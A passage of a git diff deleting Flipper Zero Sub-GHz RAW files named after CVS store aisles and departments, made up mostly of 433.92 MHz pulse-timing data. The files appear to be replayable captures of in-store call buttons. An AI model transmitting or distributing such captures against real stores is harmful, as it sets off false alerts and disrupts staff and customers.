1584 -1500 788 -744 1576 -4592 792 -744 1560 -1516 788 -744 1560 -1516 828 -744 1544 -740 1592 -736 1552 -736 1588 -744 1544 -744 1584 -740 1548 -740 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -1504 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1580 -1508 784 -1500 828 -1500 788 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -744 1580 -4588 788 -744 1564 -1516 792 -740 1560 -1520 828 -740 1544 -744 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1552 -736 1592 -736 1552 -740 1588 -1500 784 -1500 824 -1504 788 -1500 828 -1508 784 -736 1584 -1508 784 -1500 832 -1504 788 -740 1580 -1508 780 -1508 828 -1500 788 -744 1580 -1512 780 -740 1584 -4592 788 -748 1564 -1516 792 -744 1560 -1516 828 -744 1548 -740 1588 -744 1544 -744 1584 -748 1544 -740 1584 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1592 -732 1552 -740 1588 -744 1544 -744 1584 -744 1548 -740 1592 -736 1548 -744 1584 -1504 780 -1512 824 -1500 788 -1496 832 -1504 788 -736 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1508 828 -1500 784 -744 1584 -1508 784 -736 1580 -4592 788 -748 1560 -1516 788 -748 1560 -1512 -RAW_Data: 832 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -740 1544 -744 1584 -740 1548 -748 1584 -736 1552 -740 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1548 -740 1584 -1508 780 -1508 820 -1508 784 -1500 828 -1504 784 -736 1584 -1508 784 -1504 824 -1504 784 -740 1580 -1508 784 -1500 828 -1504 784 -740 1588 -1504 784 -740 1580 -4588 788 -748 1556 -1516 792 -744 1560 -1512 832 -740 1548 -744 1584 -744 1544 -740 1584 -744 1548 -740 1588 -736 1552 -736 1592 -740 1540 -748 1584 -744 1544 -744 1584 -740 1552 -736 1592 -736 1548 -744 1584 -744 1544 -740 1588 -736 1556 -732 1592 -1500 788 -1500 824 -1504 784 -1508 824 -1504 784 -744 1576 -1508 784 -1504 828 -1500 784 -744 1580 -1504 784 -1504 828 -1500 784 -744 1584 -1504 788 -736 1584 -4588 788 -748 1556 -1516 784 -748 1560 -1516 828 -740 1548 -736 1588 -740 1552 -736 1592 -740 1544 -744 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -740 1584 -744 1544 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -1500 784 -1504 820 -1508 780 -1504 828 -1500 784 -748 1576 -1504 784 -1504 828 -1504 784 -744 1576 -1504 788 -1504 824 -1504 784 -744 1584 -1504 784 -736 1584 -4588 792 -744 1560 -1516 788 -744 1560 -1516 828 -740 1552 -736 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -736 1592 -736 1548 -744 1584 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -1508 780 -1504 824 -1504 784 -1500 832 -1500 788 -740 1584 -1500 784 -1504 828 -1504 784 -744 1580 -1500 784 -1508 824 -1504 788 -740 1584 -1504 784 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub b/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub deleted file mode 100644 index 5a57828e0..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1516 828 -744 1544 -740 1588 -736 1552 -736 1592 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -740 1588 -736 1548 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1596 -1496 788 -744 1584 -1504 784 -744 1576 -1504 784 -1504 832 -1500 784 -740 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 788 -740 1584 -1508 780 -736 1584 -4588 792 -748 1560 -1512 792 -744 1560 -1512 836 -740 1544 -744 1580 -744 1544 -744 1580 -744 1548 -744 1584 -744 1540 -744 1584 -744 1544 -740 1588 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -736 1548 -744 1580 -748 1544 -740 1588 -1504 788 -736 1588 -1500 784 -744 1584 -1500 788 -1500 828 -1504 784 -740 1576 -1508 784 -1504 824 -1500 784 -1504 832 -1504 784 -740 1588 -1500 788 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1516 828 -744 1544 -744 1584 -740 1548 -744 1588 -736 1552 -736 1592 -740 1552 -736 1588 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1592 -1500 788 -736 1592 -1496 788 -744 1580 -1504 784 -1504 832 -1500 788 -740 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1508 784 -740 1588 -1504 784 -736 1584 -4592 792 -744 1564 -1512 792 -744 1564 -1512 828 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1588 -740 1544 -744 1584 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1592 -1504 784 -736 1592 -1500 792 -732 1584 -1504 788 -1504 828 -1504 784 -744 1580 -1500 788 -1500 824 -1504 784 -1508 828 -1504 784 -744 1584 -1504 784 -744 1584 -4588 788 -744 1564 -1512 792 -748 1560 -1516 828 -744 1548 -740 1584 -748 1544 -744 1584 -740 1544 -748 1580 -744 1548 -744 1584 -744 1548 -740 1588 -744 1548 -740 1584 -744 1548 -744 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1588 -1508 780 -740 1592 -1500 788 -736 1588 -1504 784 -1504 828 -1504 784 -740 1584 -1504 788 -1500 824 -1504 784 -1508 828 -1504 788 -736 1588 -1504 788 -740 1584 -4588 792 -744 1560 -1516 792 -748 1560 -1516 832 -740 1548 -744 1588 -740 1548 -740 1592 -736 1552 -740 1588 -740 1552 -736 1592 -736 1556 -736 1592 -740 1552 -732 1596 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1588 -736 1552 -740 1592 -1504 784 -748 1584 -1508 780 -744 1580 -1504 788 -1504 832 -1500 784 -736 1584 -1504 788 -1500 824 -1504 788 -1500 828 -1504 788 -744 1584 -1504 784 -744 1576 -4592 788 -748 1560 -1512 796 -744 1560 -1520 -RAW_Data: 828 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1552 -736 1588 -1504 788 -740 1584 -1504 788 -740 1588 -1500 788 -1500 832 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -1508 828 -1496 788 -744 1584 -1500 784 -748 1580 -4592 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -736 1588 -740 1552 -740 1588 -740 1548 -740 1592 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -744 1580 -744 1548 -744 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 788 -1496 832 -1504 784 -740 1584 -1504 784 -1500 824 -1508 784 -1504 828 -1504 784 -736 1588 -1504 788 -736 1584 -4588 792 -744 1564 -1508 792 -744 1564 -1512 836 -736 1552 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -744 1548 -740 1588 -736 1548 -740 1592 -732 1552 -736 1596 -1504 784 -740 1588 -1500 792 -732 1584 -1508 776 -1508 832 -1500 784 -740 1584 -1504 784 -1500 824 -1508 780 -1504 832 -1496 788 -740 1588 -1496 792 -736 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1512 836 -740 1544 -744 1580 -748 1544 -740 1588 -736 1548 -740 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1592 -732 1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1592 -1504 784 -740 1584 -1500 788 -744 1580 -1504 784 -1504 828 -1500 784 -744 1580 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -744 1584 -1504 784 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub b/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub deleted file mode 100644 index 7a5e1119d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Twenty.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1552 -1516 788 -744 1560 -1516 824 -748 1540 -744 1584 -740 1544 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -744 1588 -736 1548 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -736 1548 -744 1584 -1504 784 -740 1588 -1500 784 -740 1580 -1500 788 -1500 828 -1500 784 -1504 820 -1504 780 -1504 824 -1500 784 -1504 828 -1504 784 -744 1584 -1500 784 -740 1580 -4592 788 -748 1556 -1516 784 -752 1556 -1516 828 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -744 1548 -736 1592 -1504 784 -740 1588 -1500 780 -744 1584 -1504 780 -1508 820 -1504 784 -1500 824 -1508 784 -1500 824 -1504 784 -1500 832 -1500 788 -732 1588 -1508 780 -740 1580 -4588 788 -748 1556 -1516 792 -748 1556 -1516 828 -744 1544 -740 1588 -740 1548 -740 1588 -740 1544 -740 1592 -736 1548 -744 1580 -744 1548 -736 1588 -740 1548 -744 1584 -736 1552 -740 1584 -740 1552 -740 1584 -736 1548 -744 1584 -744 1548 -736 1592 -1504 788 -736 1588 -1508 780 -740 1584 -1504 780 -1504 824 -1500 788 -1500 824 -1504 784 -1508 820 -1504 784 -1504 832 -1500 788 -732 1592 -1500 784 -744 1580 -4584 788 -748 1560 -1516 788 -744 1560 -1516 828 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -744 1584 -736 1552 -744 1580 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -736 1592 -1504 788 -740 1580 -1504 788 -740 1580 -1508 780 -1500 824 -1504 788 -1500 828 -1500 788 -1500 824 -1504 780 -1504 828 -1508 780 -744 1584 -1500 784 -740 1580 -4588 788 -744 1564 -1512 792 -744 1564 -1516 828 -740 1548 -740 1584 -740 1552 -732 1588 -744 1544 -740 1588 -744 1544 -740 1584 -740 1552 -736 1584 -740 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1584 -744 1544 -736 1588 -740 1548 -740 1592 -1500 784 -740 1584 -1504 784 -740 1580 -1500 784 -1504 824 -1504 780 -1504 824 -1496 788 -1500 824 -1504 784 -1504 824 -1504 780 -740 1588 -1504 780 -740 1580 -4584 788 -748 1560 -1516 788 -748 1556 -1516 828 -740 1548 -736 1588 -744 1540 -744 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -740 1584 -740 1548 -740 1588 -1500 784 -744 1584 -1504 784 -736 1584 -1504 784 -1504 816 -1508 780 -1508 820 -1500 784 -1508 820 -1500 784 -1504 828 -1504 784 -744 1584 -1500 788 -736 1580 -4588 788 -744 1564 -1516 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -736 1548 -744 1588 -1500 784 -740 1588 -1504 780 -744 1584 -1504 780 -1504 820 -1508 780 -1504 820 -1504 780 -1504 824 -1504 784 -1500 828 -1508 780 -740 1584 -1504 784 -744 1576 -4592 784 -748 1560 -1512 788 -748 1560 -1512 832 -740 1548 -740 1588 -732 1552 -740 1584 -744 1548 -736 1584 -744 1548 -736 1588 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1588 -1504 780 -748 1580 -1504 788 -736 1584 -1500 784 -1504 824 -1504 780 -1504 824 -1500 788 -1504 820 -1504 784 -1500 828 -1504 784 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1512 832 -736 1544 -744 1584 -740 1552 -736 1588 -740 1544 -740 1584 -744 1544 -740 1588 -744 1540 -744 1584 -736 1552 -740 1584 -740 1548 -740 1584 -744 1544 -736 1588 -744 1544 -736 1588 -740 1548 -740 1592 -1500 784 -744 1580 -1504 784 -740 1580 -1500 784 -1504 820 -1500 788 -1500 824 -1504 776 -1508 820 -1504 788 -1500 828 -1500 784 -744 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 788 -748 1556 -1516 824 -744 1548 -736 1588 -744 1544 -740 1592 -732 1552 -740 1588 -736 1548 -744 1584 -740 1548 -736 1592 -740 1544 -744 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1552 -732 1592 -740 1548 -740 1588 -1504 788 -736 1588 -1500 784 -740 1580 -1504 784 -1504 824 -1504 780 -1500 824 -1504 784 -1504 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Two.sub b/assets/resources/subghz/Stores/CVS/Aisle_Two.sub deleted file mode 100644 index fbfaa2e3b..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Two.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1552 -1516 832 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -744 1580 -736 1552 -740 1580 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -732 1588 -744 1544 -740 1588 -1500 784 -744 1576 -1508 780 -1500 828 -1504 784 -740 1580 -1500 784 -1508 824 -1504 776 -744 1580 -1504 780 -1500 828 -1500 788 -740 1584 -1500 784 -740 1580 -4580 792 -748 1556 -1508 792 -744 1560 -1516 828 -740 1548 -740 1588 -736 1544 -748 1580 -744 1548 -740 1584 -740 1548 -740 1584 -740 1544 -748 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1540 -744 1588 -1504 780 -744 1580 -1504 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -744 1580 -1504 784 -1500 828 -1508 780 -736 1588 -1508 784 -740 1580 -4592 792 -740 1560 -1516 792 -748 1556 -1512 832 -740 1552 -740 1584 -740 1552 -740 1584 -744 1544 -740 1592 -740 1544 -744 1588 -740 1548 -744 1584 -736 1556 -736 1588 -740 1548 -740 1584 -748 1544 -740 1588 -736 1552 -744 1580 -744 1548 -740 1584 -1512 784 -736 1584 -1504 784 -1500 832 -1504 784 -736 1584 -1504 784 -1504 828 -1504 780 -744 1580 -1504 788 -1496 832 -1500 784 -744 1584 -1504 784 -744 1576 -4592 788 -744 1564 -1516 788 -748 1556 -1516 832 -740 1548 -744 1584 -736 1552 -744 1584 -740 1552 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -1508 784 -740 1580 -1504 784 -1508 824 -1500 788 -744 1576 -1504 784 -1500 832 -1504 784 -740 1580 -1500 784 -1504 828 -1508 780 -744 1584 -1500 784 -744 1576 -4588 788 -744 1564 -1516 788 -752 1552 -1516 832 -740 1548 -744 1584 -740 1544 -748 1580 -744 1548 -740 1584 -744 1544 -744 1588 -740 1544 -748 1584 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -744 1588 -1504 784 -740 1580 -1508 784 -1500 824 -1508 784 -744 1580 -1504 784 -1500 828 -1504 788 -736 1584 -1500 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1580 -4592 788 -748 1560 -1516 788 -748 1560 -1512 832 -740 1544 -744 1584 -740 1548 -740 1588 -740 1544 -748 1580 -744 1548 -740 1584 -744 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -744 1540 -748 1584 -740 1544 -744 1584 -744 1548 -740 1588 -1504 784 -740 1580 -1504 784 -1508 824 -1508 780 -744 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1508 780 -1508 824 -1504 784 -740 1584 -1504 784 -744 1576 -4588 788 -744 1560 -1520 788 -748 1556 -1516 -RAW_Data: 828 -744 1544 -740 1588 -740 1548 -744 1580 -744 1544 -740 1584 -744 1548 -740 1588 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -744 1580 -748 1540 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1508 780 -744 1580 -1504 784 -1500 832 -1504 784 -740 1576 -1508 784 -1504 828 -1500 784 -744 1580 -1500 784 -1504 824 -1504 780 -748 1584 -1504 784 -744 1576 -4588 792 -744 1556 -1516 788 -752 1556 -1520 824 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -736 1592 -740 1544 -744 1584 -740 1544 -748 1580 -744 1544 -744 1580 -748 1544 -744 1580 -748 1544 -740 1588 -1508 784 -740 1580 -1508 780 -1504 824 -1508 780 -744 1576 -1508 780 -1508 820 -1508 780 -744 1580 -1508 776 -1508 824 -1508 780 -744 1580 -1508 780 -744 1580 -4588 784 -756 1552 -1516 788 -752 1552 -1520 824 -748 1540 -748 1580 -748 1540 -748 1584 -744 1540 -748 1580 -744 1544 -744 1580 -748 1544 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1540 -748 1584 -744 1540 -748 1580 -748 1540 -748 1584 -1508 780 -748 1572 -1512 776 -1512 820 -1512 776 -752 1568 -1516 776 -1516 812 -1516 772 -752 1568 -1516 772 -1520 812 -1516 772 -756 1568 -1520 768 -756 1564 -4604 772 -764 1540 -1536 768 -768 1540 -1532 808 -764 1524 -760 1568 -760 1524 -764 1564 -760 1528 -760 1568 -756 1532 -760 1564 -764 1524 -764 1564 -760 1528 -764 1564 -764 1528 -760 1564 -760 1532 -760 1564 -760 1528 -764 1564 -764 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1524 808 -1524 764 -764 1560 -1524 764 -1524 808 -1524 768 -760 1560 -1524 764 -1524 808 -1520 768 -760 1564 -1524 764 -760 1540 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Allergy_Department.sub b/assets/resources/subghz/Stores/CVS/Allergy_Department.sub deleted file mode 100644 index 514678537..000000000 --- a/assets/resources/subghz/Stores/CVS/Allergy_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1564 -1512 792 -740 1560 -1516 828 -740 1544 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -736 1548 -740 1584 -740 1548 -740 1584 -740 1544 -740 1588 -740 1548 -736 1584 -740 1548 -740 1584 -740 1544 -740 1588 -736 1548 -740 1580 -1504 788 -1496 828 -1500 788 -736 1584 -1500 784 -1500 828 -1504 784 -740 1588 -1496 784 -740 1588 -1500 788 -736 1584 -1504 784 -1496 828 -1504 780 -1500 828 -4584 792 -748 1560 -1508 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1548 -736 1584 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -736 1552 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -1504 784 -1500 832 -1500 784 -744 1580 -1500 784 -1504 828 -1500 788 -736 1588 -1504 788 -736 1588 -1500 788 -740 1580 -1500 788 -1500 824 -1500 788 -1504 820 -4588 788 -748 1556 -1520 788 -744 1560 -1516 828 -744 1544 -740 1588 -744 1548 -740 1584 -740 1552 -744 1580 -744 1548 -736 1588 -740 1552 -740 1584 -736 1552 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -1500 788 -1496 832 -1504 784 -740 1584 -1504 780 -1504 828 -1500 784 -740 1588 -1504 788 -732 1584 -1508 788 -736 1584 -1500 784 -1504 824 -1496 788 -1504 820 -4584 792 -748 1556 -1516 788 -748 1560 -1508 832 -744 1544 -744 1588 -736 1544 -740 1588 -744 1548 -736 1588 -744 1548 -740 1588 -736 1548 -740 1588 -740 1548 -736 1588 -744 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -1504 784 -1500 828 -1508 784 -744 1576 -1500 788 -1504 828 -1504 784 -740 1588 -1500 784 -744 1584 -1500 788 -736 1588 -1496 784 -1504 828 -1500 784 -1504 820 -4588 788 -748 1560 -1512 792 -744 1560 -1520 828 -740 1548 -736 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -736 1588 -736 1552 -744 1588 -736 1548 -740 1588 -740 1552 -732 1592 -740 1548 -740 1588 -736 1552 -744 1588 -736 1552 -740 1584 -1504 788 -1500 832 -1504 784 -744 1580 -1500 792 -1500 828 -1508 780 -744 1588 -1504 784 -744 1584 -1504 788 -740 1584 -1504 784 -1504 824 -1500 788 -1504 824 -4588 792 -744 1564 -1512 792 -744 1564 -1512 832 -744 1548 -740 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -744 1584 -736 1552 -740 1588 -736 1548 -740 1584 -748 1548 -736 1588 -740 1548 -740 1588 -1500 788 -1500 828 -1500 784 -744 1576 -1512 784 -1500 828 -1504 784 -744 1584 -1500 788 -740 1588 -1504 784 -744 1584 -1500 784 -1504 824 -1504 784 -1504 820 -4592 788 -744 1564 -1516 788 -744 1564 -1516 -RAW_Data: 828 -740 1548 -740 1588 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -1504 780 -1504 832 -1500 784 -744 1580 -1500 788 -1504 828 -1500 784 -744 1588 -1500 788 -740 1588 -1500 788 -736 1584 -1508 784 -1500 824 -1504 788 -1500 824 -4588 792 -748 1556 -1516 792 -744 1564 -1516 828 -744 1548 -736 1592 -740 1552 -732 1592 -744 1548 -740 1588 -740 1544 -748 1588 -736 1552 -744 1588 -736 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1592 -736 1548 -740 1588 -1500 788 -1504 828 -1500 788 -736 1584 -1504 788 -1500 832 -1500 788 -736 1592 -1500 788 -740 1584 -1504 784 -744 1584 -1500 784 -1504 824 -1504 784 -1500 824 -4588 792 -744 1564 -1516 784 -752 1556 -1516 832 -736 1552 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1548 -740 1588 -740 1548 -740 1592 -736 1552 -740 1588 -1504 780 -1508 828 -1504 780 -744 1580 -1504 784 -1508 828 -1504 780 -744 1588 -1500 784 -744 1588 -1504 784 -744 1580 -1500 788 -1504 824 -1500 788 -1508 820 -4588 792 -748 1560 -1512 792 -748 1556 -1520 828 -740 1548 -740 1588 -744 1544 -744 1580 -748 1548 -736 1588 -740 1548 -744 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -1500 788 -1504 828 -1500 788 -736 1584 -1504 784 -1504 828 -1504 788 -740 1588 -1500 788 -740 1588 -1508 784 -736 1584 -1500 788 -1500 828 -1504 780 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Baby_Formula.sub b/assets/resources/subghz/Stores/CVS/Baby_Formula.sub deleted file mode 100644 index 3d980a61c..000000000 --- a/assets/resources/subghz/Stores/CVS/Baby_Formula.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1508 792 -744 1564 -1508 832 -740 1548 -740 1584 -740 1548 -736 1592 -736 1548 -740 1584 -736 1556 -736 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1584 -744 1544 -740 1584 -740 1548 -744 1580 -1508 780 -1504 828 -1504 780 -740 1588 -1496 784 -748 1576 -1504 784 -1504 820 -1504 784 -1504 828 -1500 784 -740 1588 -1496 788 -740 1588 -1500 784 -740 1584 -4580 792 -744 1560 -1512 792 -744 1560 -1512 832 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -744 1580 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -736 1584 -1500 784 -1504 820 -1504 780 -1504 828 -1500 788 -736 1588 -1500 784 -740 1588 -1500 788 -736 1576 -4584 792 -744 1564 -1512 788 -744 1556 -1516 828 -740 1548 -736 1588 -744 1544 -744 1580 -744 1548 -732 1588 -744 1544 -740 1588 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -736 1588 -744 1544 -740 1584 -740 1552 -736 1584 -740 1548 -744 1580 -1504 784 -1500 828 -1504 784 -740 1588 -1500 784 -740 1580 -1504 784 -1500 828 -1500 784 -1500 828 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4584 788 -748 1552 -1516 796 -740 1560 -1516 828 -740 1544 -740 1584 -744 1548 -736 1588 -736 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1580 -744 1548 -740 1584 -740 1548 -740 1584 -744 1540 -744 1588 -736 1552 -736 1588 -740 1544 -744 1580 -1508 780 -1500 828 -1504 784 -740 1588 -1500 784 -744 1576 -1504 784 -1504 824 -1496 788 -1504 832 -1496 784 -740 1588 -1500 788 -736 1588 -1504 784 -736 1584 -4588 784 -744 1564 -1516 792 -744 1556 -1516 828 -740 1548 -740 1588 -744 1540 -744 1580 -744 1548 -736 1588 -740 1548 -736 1588 -744 1540 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -740 1552 -736 1588 -740 1544 -744 1584 -740 1552 -736 1584 -1500 788 -1504 828 -1500 784 -744 1584 -1500 784 -744 1580 -1500 788 -1500 824 -1500 784 -1500 832 -1504 784 -740 1584 -1504 780 -744 1584 -1500 784 -740 1580 -4584 796 -744 1560 -1512 788 -748 1560 -1512 832 -740 1544 -744 1584 -740 1548 -736 1592 -736 1548 -740 1588 -736 1552 -736 1588 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -748 1544 -740 1584 -744 1548 -740 1584 -740 1552 -736 1588 -1504 784 -1504 824 -1504 784 -740 1592 -1500 784 -744 1576 -1508 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 788 -740 1576 -4584 792 -748 1560 -1508 792 -748 1560 -1520 -RAW_Data: 828 -740 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1592 -740 1544 -744 1584 -736 1552 -740 1588 -740 1548 -740 1588 -736 1552 -744 1584 -744 1544 -736 1596 -736 1544 -748 1584 -740 1552 -736 1588 -1504 784 -1504 824 -1504 788 -736 1592 -1500 784 -744 1580 -1508 780 -1508 820 -1504 784 -1504 828 -1504 784 -740 1588 -1508 784 -740 1584 -1504 788 -740 1580 -4592 788 -748 1560 -1516 792 -752 1556 -1516 828 -740 1552 -740 1588 -740 1548 -736 1588 -744 1548 -744 1580 -744 1548 -736 1592 -744 1544 -740 1588 -740 1548 -744 1580 -748 1544 -740 1592 -736 1548 -744 1584 -744 1552 -736 1588 -740 1548 -744 1580 -1508 784 -1504 828 -1508 780 -744 1584 -1504 784 -740 1584 -1500 788 -1500 824 -1508 780 -1504 828 -1508 784 -740 1584 -1504 780 -748 1584 -1504 784 -744 1576 -4596 788 -748 1556 -1516 792 -748 1560 -1516 828 -748 1544 -740 1588 -740 1548 -744 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1552 -740 1584 -748 1544 -748 1580 -744 1548 -740 1588 -740 1548 -740 1592 -736 1552 -740 1584 -740 1552 -740 1584 -1508 780 -1504 828 -1504 784 -744 1584 -1508 784 -740 1580 -1504 784 -1504 824 -1504 784 -1504 828 -1508 